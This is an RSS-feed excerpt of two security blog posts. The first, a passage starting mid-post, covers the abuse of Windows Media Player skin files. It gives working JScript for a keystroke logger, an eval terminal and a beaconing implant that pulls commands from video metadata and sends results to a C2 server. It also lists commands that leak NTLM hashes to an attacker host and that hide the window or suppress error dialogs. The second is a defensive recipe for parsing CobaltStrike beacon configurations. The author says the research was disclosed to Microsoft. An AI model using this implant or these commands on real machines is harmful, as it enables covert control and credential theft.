src="https://cdn-images-1.medium.com/max/557/1*-0IyZDQU8YbNseziIiWoRQ.png" /></figure><p>As shown in the screenshot above, we can use this to evaluate <em>some </em>JScript code, consequently, we might be able to write a malicious sample with the .wms filetype’s JScript functionality.</p><h4>So how can we determine what JScript can be evaluated?</h4><p>In order to figure this out, I wrote a wrapper for Eval, to act as a terminal so that I could test what was allowed by JScript in the WMP context.</p><p>There were a few things necessary to write the terminal, I started with an <a href="https://docs.microsoft.com/en-us/windows/win32/wmp/editbox-element"><em>EDITBOX</em> </a>and a<em> </em><a href="https://docs.microsoft.com/en-us/windows/win32/wmp/button-element"><em>BUTTON</em></a>, but found myself hitting enter repeatedly and expecting my command to execute.</p><p>This brought my attention to <a href="https://docs.microsoft.com/en-us/windows/win32/wmp/ambient-event-handlers">Ambient Event Handlers</a>, and shortly thereafter the <a href="https://docs.microsoft.com/en-us/windows/win32/wmp/onkeypress"><em>onkeypress</em></a> handler. This means that an open skin file can record keystrokes (so long as the window is in focus).</p><pre>&lt;THEME&gt;<br>    &lt;VIEW<br>        title = &quot;keylogging: &quot;<br>        onkeypress = &quot;JScript: function keylog(){view.title = view.title + event.keycode + &#39; &#39;;}; keylog();&quot;<br>    &gt;<br>    &lt;/VIEW&gt;<br>&lt;/THEME&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*PPfA3APx6W6at-zZNkMrzQ.png" /><figcaption>event.keycode appended to view.title</figcaption></figure><p>Or converted from ASCII:</p><pre>&lt;THEME&gt;<br>    &lt;VIEW<br>        title=&quot;keylogging: &quot;<br>        onkeypress=&quot;JScript: function keylog(){view.title = view.title + String.fromCharCode(event.keycode) + &#39; &#39;;}; keylog();&quot;<br>    &gt;<br>    &lt;/VIEW&gt;<br>&lt;/THEME&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*K-PU6Zt1j_TZ8T4IEbop2A.png" /><figcaption>ASCII decoded</figcaption></figure><p>So we can monitor keystrokes while appending them to a buffer, then when we identify the enter key (13 in ASCII) we can evaluate the buffer and print the output to a <a href="https://docs.microsoft.com/en-us/windows/win32/wmp/text-element"><em>TEXT</em></a><em> </em>element. (I added keystroke handling for backspace after considerable frustration.)</p><p>Shown below is my simplistic PoC terminal.</p><pre>&lt;THEME&gt;<br>    &lt;VIEW<br>        title=&quot;&gt;&quot;<br>        backgroundColor=&quot;#000000&quot;<br>        onkeypress=&quot;JScript: function terminal(){ if (event.keycode == 13 | event.keycode == 8){ if (event.keycode == 13) { var f = new Function(&#39;a&#39;, &#39;try {return eval(a); } catch (e) { return \&#39;Eval Error:\&#39;+ e; }&#39;); stdout.value = (view.title) + &#39;\n&#39; + f((view.title).substring(1, (view.title).length)); view.title=&#39;&gt;&#39;;} else {view.title = (view.title).substring(0,((view.title).length) - 1)} } else { view.title = view.title + String.fromCharCode(event.keycode);}}; terminal();&quot;<br>    &gt;<br>        &lt;TEXT<br>            id=&quot;stdout&quot;<br>            foregroundColor=&quot;#FFFFFF&quot;<br>            fontSize=&quot;8&quot;<br>            value=&quot;&quot;<br>        &gt;<br>        &lt;/TEXT&gt;<br>    &lt;/VIEW&gt;<br>&lt;/THEME&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/306/1*2j5Z5c240bwqW9WBzCBnqg.png" /><figcaption>Evaluates Addition</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/307/1*llAoeYXIU2RbL7PsDObqag.png" /><figcaption>Shows non-verbose errors</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*hcsDDy1bqUTigAJ2vc_Sgw.png" /><figcaption>Concatenates Strings</figcaption></figure><h3>Identified Functionality</h3><p>With the terminal built, I wanted to determine what is <em>actually</em> possible inside the context of WMP. I found this <a href="https://documentation.help/MS-Office-JScript/jstutor.htm">resource</a> to be useful although it is incomplete and contains dead links. I also read all of the currently available WMP skin documentation by <a href="https://docs.microsoft.com/en-us/windows/win32/wmp/skin-programming-reference">Microsoft</a> as well as copies of older documentation hosted by <a href="https://ecfsapi.fcc.gov/file/6516088182.pdf">3rd parties</a>. Some of the functionality I’ve deemed useful is outlined below.</p><h4>Steal Username, Domain, and NTLMv2 Hashes with <a href="https://github.com/lgandx/Responder-Windows">Responder.</a></h4><p>With the following commands we can collect usernames for future use, as well as NTLMv2 hashes for offline cracking.</p><pre>player.URL=&#39;file://&lt;C2&gt;/leak/leak.wma&#39;<br>and<br>player.URL=&#39;http://&lt;C2&gt;/file&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*UcH7j1GD-KlWuch9eCUO7w.png" /><figcaption>file://</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*vJ7Mutgp3i4QO6fHYbZnng.png" /><figcaption>http://</figcaption></figure><p>I found similar exploitation of WMP using <a href="https://en.wikipedia.org/wiki/Advanced_Stream_Redirector">.asx </a>and <a href="https://en.wikipedia.org/wiki/M3U">.m3u</a> filetypes documented by <a href="https://www.securify.nl/en/blog/living-off-the-land-stealing-netntlm-hashes/">Securify</a>; though they made no mention of .wms, as of this writing.</p><h4>Download Files</h4><pre>player.url=&#39;&lt;C2&gt;/file_to_download.extension&#39;</pre><p>The response is saved in a random IE folder (shown below).</p><pre>C:\Users\&lt;USERNAME&gt;\AppData\Local\Microsoft\Windows\INetCache\IE\&lt;RANDOM&gt;/&lt;FILENAME&gt;[1].&lt;EXTENSION&gt;</pre><p>Sidenote: Certain file extensions will create a popup warning the user. It is possible to disable the error dialog boxes.</p><h4>Disable Error Popups</h4><pre>player.settings.enableErrorDialogs=false</pre><h4>Exfiltrate Data while Downloading a File</h4><pre>player.url=&#39;&lt;C2&gt;/file_to_download.extension?encoded_exfiltrated_data&#39;</pre><p>Simple GET parameters can be logged by a C2, we can use this to our advantage during file downloads.</p><h4>Open a URL with the Compromised Asset’s Default Browser</h4><pre>player.launchurl(https://medium.com/&#39;&lt;C2&gt;&#39;);</pre><p>This could be used for a lot of things, we could <a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ">rickroll</a> the compromised asset, could send it to a phishing page or an exploit kit, or to a direct download (to avoid having to bruteforce a random IE directory), or something more complicated like leveraging URIs handled by the default browser to extend our capabilities.</p><h4>Read Certain Non-Useful Registry Values</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*ibXCC5wpmS_-o1yrK4KGnA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*dLPVq4nrRb8cv7gX6nmzHw.png" /></figure><pre>theme.loadString(&quot;res://wmploc/RT_STRING/#100&quot;)<br>theme.loadString(&quot;res://mpvis.dll/RT_STRING/#100&quot;)<br>//Both of these print the same string resource...</pre><p>I’m including this because I want to save some folks some time; The documentation indicates that the <a href="https://docs.microsoft.com/en-us/previous-versions/aa767740(v=vs.85)">res URI</a> should allow for parsing of PE file resources, it doesn’t seem to work in the WMP context. The `sFile` portion appears to be ignored altogether and the data appears to be pulled from the registry:</p><pre>REG: `Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MediaPlayer\`</pre><h4>Open Explorer’s File Picker</h4><pre>theme.openDialog(&quot;FILE_OPEN&quot;,&quot;FILES_ALLMEDIA&quot;)</pre><p>This might extend potential future exploits, but for me, serves as a debug — breakpoint for working with larger scripts.</p><h4>Write Key-Value Pairs to the Registry</h4><pre>theme.savePreference(&quot;key&quot;,&quot;value&quot;)</pre><p>This would be useful to build a large script in a buffer before evaluating it all. To my knowledge, the key location cannot be changed.</p><h4>Hiding the WMP Skin Window</h4><pre>view.minimize();<br>view.maxHeight=1;<br>view.maxWidth=1;</pre><pre>//Many ideas I won&#39;t mention. </pre><h4>Parse File Properties:</h4><p>We can read certain file properties using the following command on currently open media files:</p><pre>player.currentMedia.getItemInfo(&lt;PropertyName&gt;);</pre><h4>Evaluate Code from <a href="https://docs.microsoft.com/en-us/windows/win32/wmp/player-player-scriptcommand">ScriptCommands</a></h4><p>ScriptCommands are embedded in video files and create events at certain timestamps in the video which our .wms file could handle and evaluate; they are blocked by default as a security setting.</p><p>You can enable them here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*sIg9kXT9kPHfEMDkpWod0w.png" /></figure><h3>Use File Metadata to Create Beaconing Implant</h3><p>I was happy to find a way of implementing something similar to the blocked-by-default ScriptCommand functionality. This is a bit involved, I recommend you go make a cup of coffee, I’ll wait.</p><p>To start, we need to add some metadata to our video file (audio files also work, this is just one example). We can create the metadata using Explorer to right click on our video file -&gt; Properties -&gt; Details -&gt; Comments (or really any of the readable properties)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*v1g957h7TsUGgc2jBeIHVA.png" /></figure><p>I chose to add the following sample code to the ‘Comments’ value which is actually the ‘Description’ property:</p><pre>player.launchURL(&#39;<a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ&#39;">https://www.youtube.com/watch?v=dQw4w9WgXcQ</a>&#39;);</pre><p>Now we can start a python webserver to serve our .WMV.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*EuMc_11oVkvN9_nl0PR_rA.png" /></figure><p>… and let’s play it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*6Asj1SCKTzpd0XB06ROqTA.png" /></figure><p>Which opens the library view.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*MuH-0rBP8Ee_WxgbvWOVbw.png" /></figure><p>To get back to the terminal, we can just double click on our .wms file without closing WMP — this will reload the skin, all while keeping the file open.</p><p>Next we can test our property parsing command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/1*XEFAE7ERXjJVYv56rgMvtQ.png" /></figure><p>It works!</p><p>If we tie a few techniques together we can build a beaconing implant. <br>Try it yourself if you’d like a challenge before moving on to my solution.</p><p>Here’s what I arrived at:</p><pre>&lt;THEME&gt;<br> &lt;VIEW</pre><pre>title=&quot;PoC - <a href="http://twitter.com/notwhickey">@notwhickey</a>&quot;</pre><pre>onload=&quot;JScript: view.timerInterval=5000;&quot;<br>  ontimer=&quot;JScript: player.settings.enableErrorDialogs=false; function d(){ player.url=&#39;<a href="http://127.0.0.1/&#39;+&#39;exploit&#39;+&#39;.wmv?response=&#39;+view.title">http://127.0.0.1/&#39;+&#39;exploit&#39;+&#39;.wmv?response=&#39;+view.title</a>;}; d(); &quot;<br>  <br> &gt;<br>  &lt;player PlayState_onchange=&quot;JScript: try { view.title=eval(player.currentmedia.getItemInfo(&#39;Description&#39;));} catch (e) {view.title=&#39;:(&#39;;} &quot; /&gt;<br>  &lt;VIDEO<br>   top = &quot;69&quot;<br>   left = &quot;420&quot;<br>   width = &quot;1&quot;<br>   height = &quot;1&quot;<br>  /&gt;<br> &lt;/VIEW&gt;<br>&lt;/THEME&gt;</pre><p>The <a href="https://docs.microsoft.com/en-us/windows/win32/wmp/view-title">view.title</a> is used as our temporary return variable from the evaluated C2 commands.</p><p>The onload event is evaluated upon loading the skin, it initializes the <a href="https://docs.microsoft.com/en-us/windows/win32/wmp/view-timerinterval">view.timerInterval</a> variable which we set to 5000 milliseconds (this should be slowed down after testing). The interval triggers a timer event every <em>timer interval</em> which we handle with the <a href="https://docs.microsoft.com/en-us/windows/win32/wmp/view-ontimer">ontimer</a> event handler; this provides us with a temporal loop.</p><p>The ontimer event disables error handling so that we don’t crash out of the skin’s context, then it downloads and plays `exploit.wmv` while also exfiltrating the contents of view.title to the C2.</p><p>The player creates a PlayState change event when the video starts playing, we handle this event using the PlayState_onchange handler which parses the metadata and passes it to JScript’s Eval function before saving the result in view.title (which will be passed to the C2 on the next loop).</p><p>Altogether, it polls, downloads and exfiltrates, parses, evaluates, and stages the evaluated data for exfiltration.</p><p>Since the .wms is beaconing, the C2 can modify the metadata associated with exploit.wmv and the .wms will execute the modified metadata, and so on… forever.</p><h3>Ideas on Threat Modeling</h3><p>Knowing that, as long as our skin is open in WMP, we can execute JScript, these are some of the ideas I had surrounding exploitability:</p><h4><strong>Spawning Default Browser and Navigating to a URL:</strong></h4><ol><li>Phishing</li><li>Exploit Kit</li><li>Direct Downloading Files to known locations C:\Users\&lt;Username&gt;\Downloads\&lt;File&gt;</li><li>Interact with default browser URIs</li><li>Clickfraud</li><li>DDOS</li><li>CSRF</li></ol><h4><strong>Hijacking JScript Compute :</strong></h4><ol><li>Cryptomining</li></ol><h4>DOS:</h4><ol><li>Using theme.openDialog to prevent closure of the skin</li><li>Resource exhaustion from hijacked compute</li></ol><h4>Crazy Ideas:</h4><ol><li>Implement Responder in JScript, leak hash to self, exfil username/hash</li><li>.wms movie torrent which loads a remote movie file (using player.url=) and executing cryptomining JScript code in the background while the movie plays.</li><li>Create a webserver in pure jscript without writing files(just use registry), to offset file storage to bots on a botnet.</li><li>Bypass Airgap using audio</li></ol><h3>Ideas on Detection</h3><h4>Log Process Start Events</h4><p>Consider creating a detection looking for</p><pre>wmplayer.exe &lt;file&gt; /layout:&lt;skinfile&gt;</pre><h3>Ideas on Prevention</h3><p>Disassociate .wms from WMP. <br>Opening the skin files does not persist and I cannot think of a legitimate use for opening outside of .wmz installation and the skin chooser UI feature.</p><h3>Coordinated Disclosure</h3><p>In the past I have shared living off of the land techniques by posting them on twitter because I have assumed that if they weren’t widely used by threat actors, Microsoft would have no reason to implement security changes. In hoping that this technique is never leveraged by adversaries, I’ve contacted <a href="https://msrc.microsoft.com/">Microsoft Security Response Center</a> and submitted a vulnerability report prior to publishing.</p><h4>MSRC Response:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GoV0tciQx2hlF5m3cqYlFw.png" /></figure><h4>My reply:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*XBpouEeRNeVWAIdBTuYEZA.png" /></figure><h4>Their Reply:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*Mr3vQnZ9k-EPWAVSUZ9Iuw.png" /></figure><p>I learned that ‘<a href="https://www.microsoft.com/en-us/msrc/security-update-severity-rating-system">Moderate severity</a>’ vulnerabilities will not be fixed until <em>*potentially*</em> the next major version, so MSRC will not issue a CVE for tracking purposes, until the release date is near. Windows Media Player appears to have been added to Windows 11 seemingly replacing Groove Music as the default handler after recent updates. I hope they’ll disassociate .wms files from Windows Media Player per my recommendation in the future.</p><h3>Closing Thoughts</h3><p>Compromising systems with limited code execution is something which probably wouldn’t exist as a reasonable threat if not for widespread cryptocurrency mining. If I get bored in the future, as a PoC, I might implement something like <a href="https://github.com/tevador/RandomX">RandomX</a> in really inefficient JScript.</p><p>With the growing popularity of coverage-guided fuzzers, the .wms filetype might make for a good <a href="https://en.wikipedia.org/wiki/Fuzzing">fuzzing</a> target.</p><p>Here’s a copy of the full PoC sent to MSRC: <a href="https://pastebin.com/3jSFzTrf">pastebin</a></p><p>Click the follow button and have a good one! 👋</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4dbcb06a54f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CobaltStrike Beacon Config Parsing with CyberChef — Malware Mondays #2]]></title>
            <link>https://medium.com/@whickey000/cobaltstrike-beacon-config-parsing-with-cyberchef-malware-mondays-2-86d759b9a031?source=rss-5678239b7a9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/86d759b9a031</guid>
            <category><![CDATA[cyberchef]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Wade Hickey]]></dc:creator>
            <pubDate>Mon, 16 Aug 2021 19:25:48 GMT</pubDate>
            <atom:updated>2021-10-03T10:08:17.862Z</atom:updated>
            <content:encoded><![CDATA[<h3>CobaltStrike Beacon Config Parsing with CyberChef — Malware Mondays #2</h3><p>You’ll have to forgive me for writing (and explaining) a convoluted recipe in CyberChef to do things CyberChef was not meant for. Sorry in advance.</p><blockquote>Why would you do this?</blockquote><p><a href="https://gchq.github.io/CyberChef/"><em>CyberChef </em></a>is likely the most popular web-based tool for decoding, decrypting, and deobfuscating malware.</p><p><a href="https://www.cobaltstrike.com/"><em>CobaltStrike</em> </a>is the most popular m̶a̶l̶w̶a̶r̶e̶ ̶f̶a̶m̶i̶l̶y̶, err offensive security tool used by threat actors.</p><p>Context-switching slows analysts down (so spinning up VMs is bad).</p><p>If you like solving puzzles, writing CyberChef recipes is fun.</p><p>Parsing CobaltStrike Beacon configurations is a common task in my past experience with active intrusions, consequently, speeding up IOC extraction time is beneficial in disrupting adversaries from achieving their goals.</p><blockquote>How?</blockquote><p>We will start with the assumption that the CyberChef input, the CobaltStrike Beacon, is in the Stageless executable format. (Not a staged payload as they do not contain the config structure.)</p><p>We will need to convert the raw binary data input into hex.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*SbUl8gWR2usZJDNM9JuAMg.png" /><figcaption>To Hex Operation</figcaption></figure><p>We will need to save the hex payload in a register (<strong>$R0</strong>) for later use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*rQ2sNg4raRKs9bgy11MpXA.png" /><figcaption>Register $R0 which contains the hex encoded payload</figcaption></figure><p>We will need to search for the <strong>0xFFFFFF</strong> offset indicator flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*WB2TrdgOg1JCkqRMikCMOQ.png" /><figcaption>Offset Indicator Flag RegEx</figcaption></figure><p>We will need to extract the size of the offset using a <a href="https://en.wikipedia.org/wiki/Rube_Goldberg_machine">Rube Goldberg machine</a> of operations which ultimately is used to count the bytes, divide the number of bytes by 4, and add 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*XrgXUh6HCfQpBLEnwjZZyQ.png" /><figcaption>1: Extracting payload starting offset</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*zkg0bGE4KTfbb5Ot7_ehWQ.png" /><figcaption>2: Extracting payload starting offset</figcaption></figure><p>The payload offset is then saved in a register<strong> ($R1).</strong></p><p>We now need to clean our input buffer and replace it with the original input.</p><p>We can do this with two Find / Replace operations, though 1 should work, there is a bug which prevents clearing the buffer. The operations below shows a workaround.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*6Lj7q_LYiJHlHxIKk_Mk6g.png" /></figure><p>Next we need to capture everything after the offset to decrypt the payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*pP7yMP31IXFryx7TUdFCAQ.png" /></figure><p>We need to replace the buffer with the payload starting after the offset.</p><p>We then need to decode from hex.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*3MEYdAcoFdDaAPLqQyxY4g.png" /></figure><p>CobaltStrike Beacons tend to be encrypted using a 4-byte XOR pattern that looks like the following: (each byte value represents its index)</p><p>00010203 — XOR — 04050607</p><p>04050607 — XOR — 08090A0B</p><p>08090A0B — XOR — 0C0D0E0F</p><p>…</p><p>This can be simplified by capturing the entire payload in a register and then XORing the payload against itself with 4-bytes dropped from the beginning.</p><p>We can do this in CyberChef using the following operations:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*O7l9-cmk61yOUtVnDZnVsA.png" /></figure><p>The final XOR with <strong>0x2E </strong>is used with version 4 of CobaltStrike whereas <strong>0x69 </strong>is used with version 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*EeM-AUkIcD81olO57tQzDw.png" /></figure><blockquote>It’s ugly!</blockquote><p>This is usually enough for the trained eye to pick out the useful data and begin with countermeasures, however, we will create a recipe with more palatable JSON output for wider appeal.</p><p>In order to assign names to the JSON field values, we will need to enumerate known “flags”. (These are not really flags. See: <a href="https://en.wikipedia.org/wiki/Wittgenstein%27s_ladder">Wittgenstein’s ladder</a> if this description bothers you.)</p><p>For the purposes of this writing, flags will be copied from<a href="https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py"> JPCERT’s cobaltstrikescan.py</a> (the 6-byte hex values in cfg_info) you could easily extend the recipe using other flags.</p><p>We will need to create a generic regular expression for capturing the desired configuration values as well as a null match. (“Null match” here means a string that will satisfy the regular expression with data that we recognize as meaning null.)</p><p>The null match is required in order to make correct assumptions regarding register names (they follow naming scheme $R0, $R1, …, $RN but only if every capture group matches, so as not to alter all subsequent indices).</p><h4>Potential Generic Regular Expressions Candidates:</h4><p>Strings: (?:FLAG)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Numbers: (?:FLAG)((?:[0–9A-F]{2}\s){NUM_BYTES}|(?: ZZ ZZ ZZ ZZ))</p><h4>Potential Generic Null Match Candidate:</h4><p>FLAG ZZ ZZ ZZ ZZ</p><h4>Extracting String Fields:</h4><p>C2 Server | (?:00 08 00 03 01 00)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>User Agent | (?:00 09 00 03 00 80)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>HTTP Method Path 2 | (?:00 0a 00 03 00 40)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Header 1 | (?:00 0c 00 03 01 00)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Header 2 | (?:00 0d 00 03 01 00)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Injection Process | (?:00 0e 00 03 00 40)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Pipe Name | (?:00 0f 00 03 00 80)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Method 1 | (?:00 1a 00 03 00 10)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Method 2| (?:00 1b 00 03 00 10)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Spawn To x86 | (?:00 1d 00 03 00 40)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Spawn To x64 | (?:00 1e 00 03 00 40)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Proxy Hostname | (?:00 20 00 03 00 80)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Proxy Username | (?:00 21 00 03 00 40)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Proxy Password | (?:00 22 00 03 00 40)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>Proxy Access Type| (?:00 23 00 01 00 02)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))<br>CreateRemoteThread | (?:00 24 00 01 00 02)((?:.*?)(?=00)|(?: ZZ ZZ ZZ ZZ))</p><h4>String Null Match:</h4><p>C2 Server|00 08 00 03 01 00 ZZ ZZ ZZ ZZ<br>User Agent |00 09 00 03 00 80 ZZ ZZ ZZ ZZ<br>HTTP Method Path 2 |00 0a 00 03 00 40 ZZ ZZ ZZ ZZ<br>Header 1 | 00 0c 00 03 01 00 ZZ ZZ ZZ ZZ<br>Header 2 | 00 0d 00 03 01 00 ZZ ZZ ZZ ZZ<br>Injection Process |00 0e 00 03 00 40 ZZ ZZ ZZ ZZ<br>Pipe Name |00 0f 00 03 00 80 ZZ ZZ ZZ ZZ<br>Method 1 |00 1a 00 03 00 10 ZZ ZZ ZZ ZZ<br>Method 2|00 1b 00 03 00 10 ZZ ZZ ZZ ZZ<br>Spawn To x86 |00 1d 00 03 00 40 ZZ ZZ ZZ ZZ<br>Spawn To x64 |00 1e 00 03 00 40 ZZ ZZ ZZ ZZ<br>Proxy Hostname |00 20 00 03 00 80 ZZ ZZ ZZ ZZ<br>Proxy Username |00 21 00 03 00 40 ZZ ZZ ZZ ZZ<br>Proxy Password |00 22 00 03 00 40 ZZ ZZ ZZ ZZ<br>Proxy Access Type|00 23 00 01 00 02 ZZ ZZ ZZ ZZ<br>CreateRemoteThread |00 24 00 01 00 02 ZZ ZZ ZZ ZZ</p><h4>Extracting Numeric Fields:</h4><p>Port | (?:00 02 00 01 00 02 )((?:[0–9A-F]{2}\s){2}|(?:ZZ ZZ ZZ ZZ))<br>Jitter|(?:00 05 00 01 00 02 )((?:[0–9A-F]{2}\s){2}|(?:ZZ ZZ ZZ ZZ))<br>Max DNS|(?:00 06 00 01 00 02 )((?:[0–9A-F]{2}\s){2}|(?:ZZ ZZ ZZ ZZ))<br>Year|(?:00 10 00 01 00 02 )((?:[0–9A-F]{2}\s){2}|(?:ZZ ZZ ZZ ZZ))<br>Month|(?:00 11 00 01 00 02 )((?:[0–9A-F]{2}\s){2}|(?:ZZ ZZ ZZ ZZ))<br>Day|(?:00 12 00 01 00 02 )((?:[0–9A-F]{2}\s){2}|(?:ZZ ZZ ZZ ZZ))<br>DNS Sleep|(?:00 14 00 02 00 04 )((?:[0–9A-F]{2}\s){2}|(?:ZZ ZZ ZZ ZZ))<br>Polling|(?:00 03 00 02 00 04 )((?:[0–9A-F]{2}\s){2}|(?:ZZ ZZ ZZ ZZ))<br>DNS Idle|(?:00 13 00 02 00 04 )((?:[0–9A-F]{2}\s){4}|(?:ZZ ZZ ZZ ZZ))</p><h4>Numeric Null Match:</h4><p>Port | 00 02 00 01 00 02 ZZ ZZ ZZ ZZ<br>Jitter| 00 05 00 01 00 02 ZZ ZZ ZZ ZZ<br>Max DNS | 00 06 00 01 00 02 ZZ ZZ ZZ ZZ<br>Year | 00 10 00 01 00 02 ZZ ZZ ZZ ZZ<br>Month |00 11 00 01 00 02 ZZ ZZ ZZ ZZ<br>Day|00 12 00 01 00 02 ZZ ZZ ZZ ZZ<br>DNS Sleep|00 14 00 02 00 04 ZZ ZZ ZZ ZZ<br>Polling|00 03 00 02 00 04 ZZ ZZ ZZ ZZ<br>DNS Idle|00 13 00 02 00 04 ZZ ZZ ZZ ZZ</p><p>The regular expressions under Extracting String and Numeric Fields should be copied into individual register operations as seen here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*FD2nCqNVuu8toL_jlcf4Uw.png" /></figure><p>The associated null matches should all be pasted onto the end of the input buffer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*O1henZgra60scH-GmsxgCA.png" /></figure><p>We can now craft the JSON body leaving variable names for quick modification:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*fJY_buWrHc1cBcUiRwa42w.png" /></figure><p>After capturing all of the configuration values, we can replace them with their formatted versions in a string concatenated JSON blob for easy pasting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/489/1*6HNQYb7NYskIl7rkYXyzlQ.png" /></figure><p>Like all recipes, I hope you change it to your liking. For example, I have not finished writing individual handlers for each numeric type.<br>If your beacon payload isn’t extracted using this recipe, it probably isn’t encrypted, to fix this, just remove the decryption XOR leaving the final 0x2e/0x69 XOR.<br>This page will see some changes and improvements over time.<br>Have a good one.</p><p><a href="https://gchq.github.io/CyberChef/#recipe=To_Hex(&#39;None&#39;,0)Register(&#39;(%5B%5C%5Cs%5C%5CS%5D*)&#39;,true,false,false)Regular_expression(&#39;User%20defined&#39;,&#39;(%5E(?:.*?)ffffff)&#39;,true,true,false,false,false,false,&#39;List%20matches&#39;)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;(..)&#39;%7D,&#39;$1%5C%5Cn&#39;,true,false,true,false)Add_line_numbers()Tail(&#39;Line%20feed&#39;,1)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;(%5C%5Cd%2B)&#39;%7D,&#39;$1%204&#39;,true,false,true,false)Divide(&#39;Space&#39;)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;(%5B0-9%5C%5C.%5D%2B)&#39;%7D,&#39;$1%202&#39;,true,false,true,false)Sum(&#39;Space&#39;)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;%5C%5C..*&#39;%7D,&#39;&#39;,true,false,true,false)Register(&#39;(%5C%5Cd%2B)&#39;,true,false,false)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;.*&#39;%7D,&#39;CLEAR&#39;,true,false,true,true)Find_/_Replace(%7B&#39;option&#39;:&#39;Simple%20string&#39;,&#39;string&#39;:&#39;CLEARCLEAR&#39;%7D,&#39;$R0&#39;,true,false,true,false)Register(&#39;(?:%5B0-9a-f%5D%5B0-9a-f%5D)%7B$R1%7D(.*)&#39;,true,false,true)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;.*&#39;%7D,&#39;CLEAR&#39;,true,false,true,true)Find_/_Replace(%7B&#39;option&#39;:&#39;Simple%20string&#39;,&#39;string&#39;:&#39;CLEARCLEAR&#39;%7D,&#39;$R2&#39;,true,false,true,false)From_Hex(&#39;Auto&#39;)Drop_bytes(0,4,false)XOR(%7B&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;$R2&#39;%7D,&#39;Standard&#39;,false)XOR(%7B&#39;option&#39;:&#39;Hex&#39;,&#39;string&#39;:&#39;2e&#39;%7D,&#39;Standard&#39;,false)To_Hex(&#39;Space&#39;,0)Find_/_Replace(%7B&#39;option&#39;:&#39;Regex&#39;,&#39;string&#39;:&#39;(.*)&#39;%7D,&#39;$1%2000%2008%2000%2003%2001%2000%20ZZ%20ZZ%20ZZ%20ZZ%2000%2009%2000%2003%2000%2080%20ZZ%20ZZ%20ZZ%20ZZ